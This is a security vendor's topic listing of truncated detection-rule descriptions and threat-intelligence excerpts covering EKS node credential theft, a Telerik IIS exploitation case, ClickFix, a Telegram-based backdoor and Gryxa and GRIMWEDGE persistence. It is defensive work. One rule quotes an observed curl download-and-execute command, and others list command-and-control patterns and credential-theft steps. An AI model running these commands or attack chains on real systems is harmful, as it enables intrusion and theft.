Recently active topics

name: Kubernetes Node Identity Used by a Non-Kubelet Client Analyticsignatureid: CAS-AUD02-RUNcategory: 'Privilege Escalation'threatname: 'Valid Accounts: Cloud Accounts'functionality: 'Containers As A Service'description: | Detects a Kubernetes node identity being used to read cluster data in a way the node authoriser does not grant a kubelet. An EKS worker node authenticates to the API server as system:node:<hostname>, in the system:nodes group, by presenting a token signed with the node's IAM role. Exactly one program is supposed to do that. Any other client holding a node identity is holding credentials it was not issued. The path to those credentials is short. A pod that can reach the instance metadata service at 169.254.169.254 can read the worker node's IAM role credentials, which is possible whenever the metadata hop limit is 2: the container network namespace is one hop and the host is the second. Those credentials are then exchanged locally for a Kubernetes

This is part 2 of the Hugging Face Attack Chain series. We ran the Hugging Face attack path against a purpose built EKS cluster this week and captured every control plane event it produced. Eight steps, from a pod orienting itself to the same pod reading cluster secrets with the worker node's identity. The escalation was denied. The cluster returned 403 on the final two requests and the operation closed clean.That denial is the most misread artifact in this whole chain.A 403 from the Kubernetes API server is returned after authentication has succeeded. The API server resolved the bearer token, accepted it, established that the caller was system:node:ip-10-60-10-55.us-west-2.compute.internal in the system:nodes group, and only then consulted RBAC and refused. Everything before the refusal worked. The credentials were stolen, exchanged and accepted. The only thing that stopped the attacker reading other tenants' secrets was a role scope that an engineer can widen in thirty seconds while

name: Inference Workload Pod Querying the Kubernetes API Analyticsignatureid: CAS-AUD01-RUNcategory: 'Discovery'threatname: 'Container and Resource Discovery'functionality: 'Containers As A Service'description: | Detects a model-serving pod using its own service account token to query the Kubernetes API. An inference workload has no operational reason to talk to the control plane. It loads a model, serves predictions, and reads nothing from the cluster it runs in. When such a pod begins asking the API what it is permitted to do, the most likely explanation is that something other than the model server is now executing inside the container. This matters for AI-as-a-Service infrastructure in particular. Model files in the PyTorch and pickle formats are executable content: loading one runs whatever code it carries. Wiz Research demonstrated the full consequence against Hugging Face, uploading a modified gpt2 model that achieved remote code execution inside the inference pod, t

 Wiz Research cloned gpt2, modified it so that loading the model ran their code, and uploaded it to Hugging Face's inference API. That gave them execution inside a pod on Amazon EKS. What followed is four steps, and none of them are exotic.The pod reached 169.254.169.254, the EC2 Instance Metadata Service, and pulled the worker node's IAM role credentials. With the node's AWS identity it ran aws eks get-token and received a valid Kubernetes token carrying the Node role. It found the cluster name by reading EC2 tags through DescribeInstances. Then it listed pods and read the secrets mounted to its own pod. Separate research against Hugging Face Spaces reached the shared container registry with write access, which means overwriting the images other customers pull.Wiz called the metadata access a common EKS misconfiguration and left it there. It is worth being specific about what the setting actually is, because it is one field.The IMDS hop limit governs how many network hops a metadata r

Authors: Nitish Singh, Nikhil Kumar Chadha, and Tanmay Kumar Introduction:The Monthly Intelligence Insights report provides a summary of top threats curated, monitored, and analyzed by Securonix Threat Watch in September 2026. The report also includes a synopsis of the threats, indicators of compromise (IoCs), tactics, techniques, and procedures (TTPs), and related tags. Each threat has a comprehensive summary from Threat Labs and search queries from the Threat Research team. For additional information on Threat Labs and related search queries used via Autonomous Threat Sweeper to detect the below-mentioned threats, refer to our Threat Labs home page.Last month, Securonix Autonomous Threat Sweeper identified and analyzed 4,819 TTPs and IoCs; identified 157 emerging threats; investigated 77 potential threats; and elevated 18 incidents. The top data sources swept against include IDS / IPS / UTM / Threat Detection, Data Loss Prevention, Endpoint Management Systems, and Email / Email Secur

OverviewOn September 28, 2026, AhnLab's Security Intelligence Center published two incident cases that share one entry point: an Internet-facing Microsoft IIS server running an unpatched copy of Telerik UI for ASP.NET AJAX. In both, the attacker exploited CVE-2019-18935, a .NET deserialization vulnerability in the RadAsyncUpload file-upload control, to get code running inside the IIS worker process w3wp.exe.From that identical foothold the two cases diverge in a way worth paying attention to, because it says something about who is buying access to this class of target.In the first case the operator went for persistence and depth: a raw socket reverse shell to 206.82.6.22 on port 80, system reconnaissance, privilege escalation from the application-pool identity to SYSTEM using Potato-family token theft, and finally a Godzilla-style in-memory web shell loaded from godmemshell.dll directly into the ASP.NET runtime. No .aspx file was written. There is nothing in the web root to find.In the

OverviewBetween September 9 and September 14, 2026, an operator compromised at least six legitimate Ukrainian small-business websites and used them to serve a fake Cloudflare verification page. The page did not exploit anything. It asked the visitor to press three keys.That is the whole initial-access story, and it worked 79 times out of 426 clicks.The campaign is a textbook ClickFix chain with one detail that matters more than the rest: the command the page put on the victim's clipboard was not an encoded PowerShell one-liner. It was msiexec.exe, fetching a remote MSI over HTTPS, dressed up with a Cyrillic installer property so that anything the victim glimpsed during installation still read as CAPTCHA verification. Arctic Wolf Labs, which published the analysis on September 24, flags this explicitly: detections scoped to encoded PowerShell miss this chain entirely.The payload, a 64-bit Windows stealer the operator named psychedeliclove.exe and tagged internally as Psychedelic, is mor

 Have a Product Idea? Help Shape the Future of Securonix Innovation at Securonix is driven by you — our customers and partners. Whether you’ve identified a gap, experienced a challenge, or have an idea for a new feature, we want to hear from you. We’ve created a dedicated Product Ideation space where you can share ideas, collaborate with others, and help influence our product roadmap.  🚀 What You Can Do  Submit feature requests directly to our Product team Share ideas to improve workflows and usability Collaborate with other customers and build on ideas Upvote submissions to help prioritize what matters most   🔐 Access the Full Guide & Submit Your Idea To learn how the ideation process works — including what to submit, when to submit it, and how ideas are reviewed — access the full guide below: 👉 [Log in to view the Product Ideation Guide ] 🔒 This guide is available to logged-in customers only. 🧭 What You’ll Find Inside Once logged in, you’ll get step-by-step guidance on

OverviewBetween June and September 2026, GreyNoise researchers tracked a single actor, publicly nicknamed "Kapibala" after the WordPress usernames it left behind, through a ten-vulnerability exploitation spree that touched WordPress sites, ZyXEL network switches, Ubiquiti access controllers, a low-code AI platform, a Linux kernel bug more than four years old, a Git hosting server, a serverless compute framework, a laboratory information management system, and a virtualization hypervisor. The headline incident inside that spree is a July 20, 2026 intrusion against a Western government organization, in which the actor chained a pre-authentication WordPress Core RCE with a masqueraded administrator account and a purpose-built data-collection plugin to steal more than 18,566 sensitive government records in under three hours.What makes Kapibala notable is not any single exploit -- most of the ten CVEs it used were already public and, in several cases, already on CISA's Known Exploited Vulne

name: Shadow Credentials Followed by RBCD Configuration Attack Chain Analyticsignatureid: WEL-ACC02-AEIcategory: 'Privilege Escalation'threatname: 'Valid Accounts: Domain Accounts'functionality: 'Microsoft Windows'description: | Detects a sophisticated privilege escalation attack chain where a user account first performs a Shadow Credentials attack by modifying the msDS-KeyCredentialLink attribute, followed immediately by a machine account modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to configure Resource-Based Constrained Delegation. This temporal correlation indicates an attacker who has: (1) Compromised a user account with write permissions, (2) Used Shadow Credentials to take over a machine account by adding key credentials, (3) Authenticated as that machine account using the certificate, and (4) Configured RBCD from the compromised machine account to escalate privileges further. This attack chain is highly indicative of advanced adversary techniques comb

name: Modification of msDS-KeyCredentialLink Attribute Shadow Credentials Attack Analyticsignatureid: WEL-ACC78-RUNcategory: 'Credential Access'threatname: 'Steal or Forge Authentication Certificates'functionality: 'Microsoft Windows'description: | Detects modifications to the msDS-KeyCredentialLink attribute on Active Directory objects, indicative of a Shadow Credentials attack. This attribute stores the public key credentials for Windows Hello for Business (WHfB) and certificate-based authentication. Threat actors with GenericWrite, GenericAll, or WriteProperty permissions on a user or computer object can add their own key credentials to this attribute, effectively creating an alternative authentication method. By adding a certificate to the target's msDS-KeyCredentialLink, attackers can authenticate as that account without knowing the password, obtain a TGT, and extract the account's NTLM hash. This technique is particularly dangerous when targeting computer accounts, as it p

name: PowerShell Telegram Bot API Used as Command and Control Channel Analyticsignatureid: WEL-PSH137-RUNcategory: 'Command and Control'threatname: 'Web Service: Bidirectional Communication'functionality: 'Microsoft Windows Powershell'description: | Detects a single PowerShell script block that combines a reference to the Telegram Bot API domain (api.telegram.org) with at least one Bot API operation used for command-and-control (getUpdates to poll for operator commands, getFile?file_id= to fetch a staged payload, or sendMessage?chat_id= to exfiltrate output/beacon status) and a PowerShell HTTP primitive (Invoke-RestMethod, Invoke-WebRequest, or System.Net.WebClient) used to make the call. HEAVYGRAM-class tooling uses the Telegram Bot API as a bidirectional channel: getUpdates polls for attacker-issued commands, sendMessage returns command output or beacon data, and getFile retrieves staged second-stage content, all over normal HTTPS to a domain that blends with legitimate traf

OverviewOn September 17, 2026, Group-IB published a technical report tying a Telegram-based surveillance backdoor called HEAVYGRAM to Handala Hack, the Iran-linked "hacktivist" persona that emerged in the days after the October 7, 2023 Hamas-led attacks on southern Israel. The report -- corroborated the same week by The Hacker News and building on two FBI FLASH alerts issued in March and September 2026 -- describes a malware family that has been quietly targeting Iranian dissidents, journalists, and opposition figures since at least September 2023, using nothing more exotic than the public Telegram Bot API as its command-and-control channel.Handala Hack is assessed to be an online front for Void Manticore (also tracked as Banished Kitten, Red Sandstorm, and Storm-0842), a threat actor affiliated with Iran's Ministry of Intelligence and Security (MOIS). The persona has a documented history of destructive wiping attacks and hack-and-leak operations, including the doxxing of five Iran Int

name: 'Browser Process Spawning Download-and-Execute Chain to Temp Analytic'signatureid: EDR-SYM972-RUNcategory: 'Execution'threatname: 'Exploitation for Client Execution'functionality: 'Endpoint Management Systems'description: | Detects a Chromium-based browser process (chrome.exe, msedge.exe) spawning a command interpreter or curl that downloads a file to %TEMP% and immediately executes it — the pp-stage (final shellcode) behavior of the BlueMoon exploit kit, once CVE-2026-85046 (V8 type confusion), CVE-2026-87491 (V8 sandbox escape), and CVE-2026-85880 (Windows ALPC privilege escalation) have already broken out of the browser sandbox and elevated privileges. Per Volexity, the download URL (the `exeurl` exploit-page parameter) is attacker-controlled at runtime rather than hardcoded, so this behavioral pattern is far more durable than matching any single payload domain or hash. Observed in UTA0560's campaign as: `cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "https://cloud[.]

name: 'GRIMWEDGE Persistence Scheduled Task Creation Analytic'signatureid: WEL-ACC83-RUNcategory: 'Persistence'threatname: 'Scheduled Task/Job: Scheduled Task'functionality: 'Microsoft Windows'lifecycle: experimentaldescription: | Detects creation of a Windows scheduled task named "Windows Scheduled System" — the persistence mechanism used by GRIMWEDGE, the backdoor UTA0560 (a Chinese threat actor) drops after chaining CVE-2026-85046 (Chrome V8 type confusion), CVE-2026-87491 (V8 WebAssembly sandbox escape), and CVE-2026-85880 (Windows ALPC/RtlpCreateServerAcl privilege escalation) via the BlueMoon exploit kit. The task re-runs wsc.dll's DLL side-loading chain every five minutes, giving GRIMWEDGE (a compact in-memory backdoor running inside msiexec.exe) durable re-execution even if the initial process is killed. Per Volexity, UTA0560 recompiled the dropper and loader on September 2, 2026 — one day after first use — while keeping this task name, its 5-minute cadence, and the C2

name: Gryxa Toolkit Working Directory or Component Script Referenced in Process Execution Analyticsignatureid: EDR-SYM964-RUNcategory: 'Defense Evasion'threatname: 'Masquerading: Match Legitimate Resource Name or Location'functionality: 'Endpoint Management Systems'description: | Detects process execution that references any of the four hidden working directories used by the Gryxa toolkit, or its named persistence/monitoring component scripts (own_lib.ps1, own_mon.cmd). Gryxa stages its RMM implant, guard, keeper and credential modules under a primary WinRTCS directory in ProgramData, two "keeper" directories chosen to blend in with Windows Error Reporting and Diagnosis paths (.wucache / .etlcache), and an off-path backup cache that the other components rebuild from. All four are marked hidden. Because the actor rotates component hashes through a signed update pipeline, these path and filename artifacts are a more durable indicator than file hashes. Also catches attrib +h/+s be

name: SYSTEM Scheduled Task Created with Minute Interval Executing from ProgramData or Diagnostics Path Analyticsignatureid: EDR-SYM965-RUNcategory: 'Persistence'threatname: 'Scheduled Task/Job: Scheduled Task'functionality: 'Endpoint Management Systems'description: | Detects schtasks.exe creating a task that runs as SYSTEM on a short minute-based repetition interval (1, 5 or 15 minutes) where the task action executes a script or binary from ProgramData, Windows Error Reporting, or Diagnosis paths. Gryxa registers three WinRTCS tasks as SYSTEM at one-, five- and fifteen-minute intervals, each of which re-creates the full task set if any task is deleted. A further four "keeper" tasks use names resembling legitimate Microsoft tasks, two on one-minute intervals and one each at system start and user logon. The combination of SYSTEM principal, sub-hourly interval and a non-Program Files action path is rare in legitimate administration.reference: - https://reliaquest.com/blog/threat

name: Scheduled Task Registered with Sub-Hourly Repetition Executing from ProgramData or Diagnostics Path Analyticsignatureid: WEL-ACC82-RUNcategory: 'Persistence'threatname: 'Scheduled Task/Job: Scheduled Task'functionality: 'Microsoft Windows'description: | Detects Windows Security event 4698 (scheduled task created) where the task XML defines a repetition interval of 1, 5 or 15 minutes, or a boot/logon trigger, and the action executes from ProgramData, Windows Error Reporting or Diagnosis paths. This is the Security-log view of the Gryxa persistence layer and catches task registration performed through the Task Scheduler COM API or PowerShell Register-ScheduledTask, which do not spawn schtasks.exe and are therefore invisible to process-creation rules. Gryxa's seven-task persistence set runs as SYSTEM on one-, five- and fifteen-minute intervals with additional onstart and onlogon triggers.reference: - https://reliaquest.com/blog/threat-spotlight-gryxa-ai-built-toolkit/ - htt

Authors: Nitish Singh, Nikhil Kumar Chadha, and Tanmay KumarIntroduction:The Monthly Intelligence Insights report provides a summary of top threats curated, monitored, and analyzed by Securonix Threat Watch in August 2026. The report also includes a synopsis of the threats, indicators of compromise (IoCs), tactics, techniques, and procedures (TTPs), and related tags. Each threat has a comprehensive summary from Threat Labs and search queries from the Threat Research team. For additional information on Threat Labs and related search queries used via Autonomous Threat Sweeper to detect the below-mentioned threats, refer to our Threat Labs home page. Last month, Securonix Autonomous Threat Sweeper identified and analyzed 4,312 TTPs and IoCs; identified 124 emerging threats; investigated 65 potential threats; and elevated 16 incidents. The top data sources swept against include IDS / IPS / UTM / Threat Detection, Data Loss Prevention, Endpoint Management Systems, and Email / Email Security

OverviewOn September 1, 2026, Volexity's Network Security Monitoring service caught a spear-phishing email hitting multiple non-governmental organization customers. The lure was a donation-form pretext, the kind of email a fundraising team might send and delete without a second thought. The link went to a legitimate US university website carrying a reflected cross-site scripting bug, and from there redirected to threat-actor infrastructure hosting a three-vulnerability exploit chain that broke out of Chrome's sandbox, escalated privileges in the Windows kernel, and injected code into the browser process -- all before the victim saw anything but a donation form image load.Volexity attributes that campaign to a Chinese threat actor it tracks as UTA0560. Pulling the thread on its own email telemetry, Volexity's researchers then found a second, unrelated Chinese group -- JungleBamboo, better known publicly as APT31, Violet Typhoon, or TA412 -- running byte-for-byte identical exploit shellc

Executive Summary:On 9 September 2026,  Securonix ThreatWatch team began tracking lapsus.ar[.]io after the site appeared online carrying "LAPSUS$ GROUP - CHAPTER II" branding. At the time of review, the site used "LAPSUS$ GROUP - CHAPTER II" branding and displayed a countdown to 12 September at 22:00 UTC. It published a clear-signed statement, linked the associated OpenPGP public key, and pointed visitors to a profile on a disputed BreachForums successor. The statement thanked TeamPCP for its "sacrifice," challenged the FBI, and claimed the group would resume extortion activity with a "first victim leak."We independently verified the OpenPGP signature. It validates against fingerprint 7D0FA2E212E398576C797102131C4FF38C4D936B, confirming that the statement was signed using the private key associated with the published public key. We also traced the site's publication sequence through ArNS and Arweave. The ArNS name was leased on 30 August. A four-byte test object appeared shortly afterw